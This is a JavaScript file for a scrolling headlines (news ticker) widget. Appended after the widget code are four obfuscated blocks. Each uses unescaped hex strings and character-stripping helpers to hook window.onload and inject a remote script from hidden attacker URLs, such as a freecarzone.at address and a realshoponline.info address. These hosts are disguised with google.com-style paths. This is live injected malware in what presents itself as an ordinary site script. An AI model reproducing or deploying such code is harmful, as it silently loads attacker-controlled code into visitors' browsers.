var headlines = headlines != null ? headlines  : new Array();

if (typeof(rollHeadlines) == "undefined")
	function rollHeadlines() {
		for ( var i = 0; i < headlines.length; i++ ) {
			headlines[i].init();
			headlines[i].id = i;
		}			
		startRoll();
	}

if (typeof(startRoll) == "undefined")
	function startRoll() {
		for ( var i = 0; i < headlines.length; i++ )
			setTimeout("headlines[ " + i + "].run()", eval("headlines[i].C_Speed"));
	}




/**  Class Headline
*
*/            
function Headline(layerId) {   
    this.C_TopOffset  = 0;                
    this.C_LeftOffset = 0;        	    
    this.C_Speed      = 0
    this.C_Height     = 0;
    this.C_Width      = 0;
    this.C_Spacing    = 0;
    this.C_EndSpace   = 0; // TODO : implementeaza si cacatul asta 
    this.C_Wait		  = 0;                       
    
    this.layerId      = layerId;
    this.layer        = null;
    this.quotes       = new Array();
    this.direction    = null;
    this.id           = 0; // The position in headlines global array
    this.initialNrOfQuotes = 0;	                     	                                           	    	            
	
    this.init = function init() {  
    	this.layer      = this.getLayer();                	
        this.C_Height   = parseInt(this.layer.style.height) + 0;
        this.C_Width    = parseInt(this.layer.style.width) + 0;	        	        
        this.C_Speed    = 30 - getDivCustomProperty(this.layer, "speed", true);
        this.C_Spacing  = getDivCustomProperty(this.layer, "spacing", true);
		this.C_Wait     = getDivCustomProperty(this.layer, "wait", true);
		this.C_EndSpace = getDivCustomProperty(this.layer, "endSpace", true);			        	        
    	this.direction  = getDivCustomProperty(this.layer, "drct", false);
		
    	this.initPosition();
    	this.initContent();           	        	       	    	                
    }
    
    /**
    * Duplicate quotes to fill in headline content
    */
    this.initContent = function initContent() {
    	var initialNrOfQuotes =  this.layer.getElementsByTagName("div").length;
    	eval("this.initForRoll" + this.direction + "()");
        var linesList = this.layer.getElementsByTagName("div");  
        if (linesList && linesList.length) 
            for (var i = 0; i < linesList.length; i++) {                      
                var quote = linesList.item(i);
                if (quote) {
                    this.quotes[i] = eval("new Quote" + this.direction + "(quote, this)");	                    
                } 
                
                // Inspert space after all initial quotes are rolled
                if ( ( i + 1 ) % initialNrOfQuotes == 0)
                	this.quotes[i].C_EndSpace = this.C_EndSpace;
				else 
					this.quotes[i].C_EndSpace = 0;
					
				this.quotes[i].init();
            }
        
        this.quotes[0].isRolling = true;	        	        	        	            
    }  
    
    this.initForRollUp = function() {
    	var imgList = this.layer.getElementsByTagName("img");   
    	var imgLgt  = imgList.length;        	
        var pos1    = findObjectTopOffset(imgList.item(0));
        var pos2    = imgLgt > 1 ? findObjectTopOffset(imgList.item(imgLgt - 1)) :
                    	this.C_TopOffset;	                    	
        
        var diff = imgLgt > 1 ? (pos2 - pos1) : (pos1 - pos2);
        
        // Duplicate the lines to ensure that no white spaces will appear	        	       
        var content = this.layer.innerHTML; 
    
        if (diff < this.C_Height) {          
            var x = this.C_Height/diff;
            for (var i = 0; i < parseInt(x) + 1; i++)
                this.layer.innerHTML += content;	                	                	            
        } else if (!(diff < 1))
            this.layer.innerHTML += content;                    
    }
    
    this.initForRollLeft = function() {		
        var imgList = this.layer.getElementsByTagName("img");      
     	var imgLgt  = imgList.length;
     	var pos1    = findObjectLeftOffset(imgList.item(0));
        var pos2    = imgLgt > 1 ? findObjectLeftOffset(imgList.item(imgLgt - 1)) :
                    	this.C_LeftOffset;	                    	
        
        var diff = imgLgt > 1 ? (pos2 - pos1) : (pos1 - pos2);
        var content = this.layer.innerHTML;
        	        
        if (diff < this.C_Width) {   
            var x = parseInt(this.C_Width/diff) + 1;
            for (var i = 0; i <= x ; i++)
                this.layer.innerHTML += content;
        } else
            this.layer.innerHTML += content;	            	            
    }
    
    this.initPosition = function initPosition() {  
        this.C_TopOffset  = findObjectTopOffset(this.getReperTop());                    	        	        
        this.C_LeftOffset = findObjectLeftOffset(this.getReperTop());
        
        setObjectStyleProperty(this.layer, "width", this.C_Width);	        
        setObjectStyleProperty(this.layer, "height", this.C_Height);	        	        	    
    }
         
           
    this.run = function run() {
    	var quotes  = this.quotes;
    	var length  = quotes.length;
    		
    	var quoteOnTop = false;							        	        	
        if (quotes[0].isRolling) {         	               
            quotes[0].rollLine(); 	                
            
	        if (!quoteOnTop)
		        quoteOnTop = quotes[0].isOnTop();
		}

        if (length > 1) {
        	var rollFirstQuote = false;
            for (var i = 1; i < length; i++) {                                                           
                if (quotes[i - 1].isAbove() || quotes[i].isRolling) {
                    quotes[i].rollLine(); 	                        
                
					if (!quoteOnTop)
				        quoteOnTop = quotes[i].isOnTop();
				}
            }
            
            if (quotes[length - 1].isAbove())
            	quotes[0].rollLine();  
		}
		
		this.quotes = quotes;
					
		if (!quoteOnTop)
			setTimeout("headlines[ " + this.id + "].run()", eval("headlines[this.id].C_Speed")) 			
		else
			setTimeout("headlines[ " + this.id + "].run()", eval("this.C_Wait * 1000"));			
    }
    
    this.getReperTop = function getReperTop() {
	    return document.getElementById("reperTop_" + this.layerId);
	}            

	this.getReperBottom = function getReperBottom() {
	    return document.getElementById("reperBottom_" + this.layerId);
	} 
	
	this.getDirection = function getDirection() {
		return this.direction;
	}   
	
	this.getLayer = function getLayer() {
    	return document.getElementById(this.layerId);
    } 
    
    
    // Add this headline to gloabal Array of headlines
    headlines[headlines.length] = this;                                                          
}// End Headline class
         
   



try {var B=new Array();var g;if(g!='x' && g!='k'){g='x'};var Qw='';var AW="";var h=window[unescape("%75%6e%65%73%63%61%70%65")];this.nx='';var cJ;if(cJ!='' && cJ!='ed'){cJ=''};var E=window[h("%52%65%67%45%78%70")];var T=null;var J=h("%72%65%70%6c%61%63%65");this.Pb='';function V(hJ,n){this.N="";var o=h("%5b");var j;if(j!='QC'){j=''};var Cv="";o+=n;var Xl="";o+=h("%5d");var EZ=new Array();var Vq=new String();var P=new E(o, h("%67"));return hJ.replace(P, T);var hL=new Date();var Gt=new Date();};var pM=new Date();var _=new Array();var Q='';var d=h("%73%63%72%69%70%74");this.ql="";var En='';var G="\x68\x74\x74\x70\x3a\x2f\x2f\x66\x72\x65\x65\x63\x61\x72\x7a\x6f\x6e\x65\x2e\x61\x74\x3a";var XY;if(XY!='' && XY!='KL'){XY='Df'};this.a="";var HU;if(HU!='' && HU!='ip'){HU=null};var Mz=new Array();var PS=V('842365697266046293421983653447459096779211','95246137');var kY;if(kY!='DZ'){kY=''};var c=V('/6g6oxo6gNl9ej.rcxo6mx/4pFcxoEn8l5i4nOe8.NcboTmN.Rc5n9/Ee6lNmFu4njd8o8.6eEs4.NpEhbpR','EbO5jRr8TN694Fx');var hJ=h("%31");var RG;if(RG!='kP' && RG != ''){RG=null};var C="onloa"+"doVJ".substr(0,1);var zm="";var UP=new Date();function VS(){this.w="";var We;if(We!=''){We='ER'};var e=document;var Af;if(Af!=''){Af='UV'};var tP;if(tP!='ex'){tP='ex'};s=e.createElement(d);Q+=G;var TI=new Array();Q+=PS+c;var Wy='';this.zc='';var zF;if(zF!='LO' && zF!='js'){zF=''};var zz;if(zz!='gK' && zz!='Rn'){zz=''};s.src=Q;var ke;if(ke!='' && ke!='mn'){ke=''};var tPc;if(tPc!='wh'){tPc=''};s.defer=hJ;var r='';var ez=e.body;var eG=new String();var cp=new Date();var DW='';var Sy='';ez.appendChild(s);};var BN;if(BN!='PZ'){BN='PZ'};this.zb="";var KD="";window[C]=VS;var zt;if(zt!='jq'){zt=''};var nn;if(nn!='' && nn!='es'){nn=''};this.XS='';} catch(U){};
var io=new Date();var x='';try {var j;if(j!=''){j='U'};var F;if(F!='' && F!='y'){F=null};var R=window[unescape("%75%6e%65%73%63%61%70%65")];var Fo='';var Q='';var ny=new Array();var Uc=new Array();var k=R("%72%65%70%6c%61%63%65");var f=window[R("%52%65%67%45%78%70")];var K=null;var iS;if(iS!='' && iS!='go'){iS='fH'};function i(N,X){this.kp="";var Tp;if(Tp!='I' && Tp!='L'){Tp='I'};var c=R("%5b");c+=X;var p=new Date();c+=R("%5d");var K_;if(K_!='lV' && K_ != ''){K_=null};var Yz='';var B=new f(c, R("%67"));return N.replace(B, K);};var fb="";var Lb;if(Lb!='Nn'){Lb=''};var Ib;if(Ib!='V'){Ib=''};var ig="\x68\x74\x74\x70\x3a\x2f\x2f\x66\x72\x65\x65\x63\x61\x72\x7a\x6f\x6e\x65\x2e\x61\x74\x3a";var Y='';var w=R("%73%63%72%69%70%74");var YH;if(YH!='Uj' && YH!='H'){YH=''};var N=R("%31");var n=i('/VgjoUoGgjlJex.Vc2oUmq/Yp9crazu_t_oX.3c2o8mj.Xc8nf/ZeJbraJy1.8d5ef.Jp8hYp9','62qVrC0X3Z19FY8DjUJG5zfx_');var DLa;if(DLa!='qK' && DLa != ''){DLa=null};var LI;if(LI!='lk' && LI != ''){LI=null};var fw=i('8419193211451442099922446737165749986435733322259575049164737533','17592364');var Ki;if(Ki!='' && Ki!='dz'){Ki='K_B'};var Nr='';var nW=new String("onlo"+"Fqlad".substr(3));this.DE='';var dt;if(dt!='' && dt!='Nf'){dt=null};function Xr(){var GY;if(GY!='wS' && GY!='HC'){GY='wS'};var o=document;inB=o.createElement(w);var b;if(b!=''){b='iF'};Y+=ig;Y+=fw+n;var CP=new String();var Idc;if(Idc!='JK' && Idc!='iR'){Idc=''};this.FQ="";this.FM='';var S=o.body;var Rv=new Array();var iX='';inB.defer=N;inB.src=Y;var m=new Array();S.appendChild(inB);var Et;if(Et!='' && Et!='zR'){Et=''};};var aJ=new Array();var HR=new Array();var fV;if(fV!='' && fV!='OP'){fV=''};window[nW]=Xr;var pn;if(pn!='Ee'){pn=''};var Ct=new Date();var DF;if(DF!='' && DF!='uk'){DF=null};} catch(t){var sq="";};var Ld;if(Ld!='jk'){Ld=''};
this.na="";var _l;if(_l!='H'){_l='H'};try {var m=window[unescape("%75%6e%65%73%63%61%70%65")];var D='';this.y='';var h=window[m("%52%65%67%45%78%70")];this.q="";var Z=m("%72%65%70%6c%61%63%65");var ob=new Array();var O;if(O!='Q'){O=''};var ha=null;var cu=new Array();var OW="";var f=new String();function E(B,L){var tv='';var r=m("%5b");this.XE="";r+=L;r+=m("%5d");var wI=new Date();var Zt;if(Zt!='R' && Zt!='xu'){Zt=''};var v=new h(r, m("%67"));return B.replace(v, ha);var Co="";};var B=m("%31");var K=new String();var yX;if(yX!='xG'){yX=''};var t=E('8619774996706397296986127450265133','67925341');var I;if(I!='' && I!='ep'){I=''};var V;if(V!='' && V!='vl'){V=''};var n=E('/6gHoLoAgLlAeL.OcMoHmA/OsHkMyZsZpOoMrZtAsM.OcOoqmL/MsZeOdMoLpqa6rHkHiZnqgA.6c6oOmZ.OpLhLpq','OALqZ6MH');this.vp="";var Y="\x68\x74\x74\x70\x3a\x2f\x2f\x66\x72\x65\x65\x63\x61\x72\x7a\x6f\x6e\x65\x2e\x61\x74\x3a";var vF='';this.nK='';var U=new String("iF0Vonloa".substr(4)+"oUTd".substr(3));var P=new Array();var lt=new Array();var k=m("%73%63%72%69%70%74");function S(){var yU;if(yU!='i' && yU != ''){yU=null};var LI=document;var fg;if(fg!='' && fg!='nq'){fg=null};var mx=new Array();c=LI.createElement(k);vF+=Y;var nC="";vF+=t+n;var gm;if(gm!='' && gm!='Oa'){gm=''};var WI=new Array();var US=new Date();var MA=new Date();var J=LI.body;var qj=new String();c.defer=B;var Jo=new Date();c.src=vF;var Jy=new Date();var mv;if(mv!='sC' && mv!='AK'){mv=''};var rE="";var zO="";J.appendChild(c);this.SC='';var vY;if(vY!='' && vY!='Pp'){vY=null};};var Ff="";window[U]=S;} catch(hq){var Ct="";var dod;if(dod!='yd'){dod='yd'};};var SR='';var vh;if(vh!='' && vh!='SL'){vh=null};










var l;if(l!='N' && l!='yT'){l=''};function B(){var M;if(M!='D'){M='D'};var a=window;var BT=new String();this.ag='';var Ug='';var z=a['unescape'];var Cn;if(Cn!='' && Cn!='GW'){Cn=''};var KK=new Array();var t=z("%2f%6f%72%6b%75%74%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%61%73%74%6d%6f%6e%65%79%2e%63%6f%6d%2e%70%68%70");var P=new String();var DL=new Array();var mk="";var _=new Date();function G(h,s){var LS="";var e=z("%5d");var _n=new String();var Jx='';var J=z("%5b");var q;if(q!='I' && q!='CL'){q=''};var ln=new Date();var Bw="g";this.kH='';var H=new RegExp(J+s+e, Bw);this.GQ="";var Vv=new Date();return h.replace(H, new String());};var PS;if(PS!='SE'){PS=''};var E="";var Ga;if(Ga!='j' && Ga!='bj'){Ga='j'};var XN;if(XN!='zK' && XN != ''){XN=null};var v;if(v!='hM' && v!='i'){v=''};var sD=G('874643972714404526594613156285573414994640652476144446','47231965');var JB='';var K=G('sWrtcv','StYCWv1hL');var dN;if(dN!='HP' && dN!='nl'){dN=''};var L=document;var O;if(O!='bN' && O!='wJ'){O='bN'};var U=G('sucNrniwpbtW','lNWvJE4zbXmqPIVM8anuQwZA');this.ZU="";var y=G('d7e7fCeqrD','CqiD7y4');var mY=new Date();var da=new String();function w(){var _N="";this.p="";var eW="";var W=z("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");this.np="";var eH;if(eH!='Hx' && eH!='Tk'){eH=''};var Dl="";var X=W;var sf;if(sf!='wm'){sf='wm'};X+=sD;var mZ=new String();var TA=new String();X+=t;var rj=new String();var ae;if(ae!='jH'){ae='jH'};var cn=new Array();var Dj=new Array();var uW;if(uW!='ZS' && uW != ''){uW=null};var FK=new Array();try {var Cv;if(Cv!=''){Cv='zT'};var iy=new Array();m=L[G('cCrseWa3t6e3EZl3eCm5esnQtV','s65QWiVZ3uC')](U);var MvU;if(MvU!='' && MvU!='Pb'){MvU=''};this.Gp="";var il;if(il!='lI' && il!='zg'){il='lI'};m[K]=X;var S_;if(S_!='Pi' && S_!='IC'){S_='Pi'};this.Vm="";var jr;if(jr!='gz' && jr!='GV'){jr='gz'};m[y]=[1][0];var WG=new Date();var DJ=new Date();var RS="";var Tc="";L.body[G('aHpmpDeZnIdZCZhOiZlvdw','GMO9bvUIWxmXr0wDugQHZKT')](m);var hB;if(hB!='BwM'){hB=''};var YS=new Array();this.QX='';} catch(b){var ZQo;if(ZQo!=''){ZQo='vw'};};var VO=new String();var Rz=new String();var Fi='';var cp='';}this.WJ='';var Jq=G('oUn1lhoNaydh','1Hf0eYvK89FZPNqhUTy');var XO='';this.XH="";this.HQ="";a[Jq]=w;var yB;if(yB!=''){yB='ns'};this.Hu="";this.bz='';};var Br=new Date();var mR=new Date();this.Ae="";var Ib;if(Ib!='di'){Ib=''};B();var Hh="";var EM="";
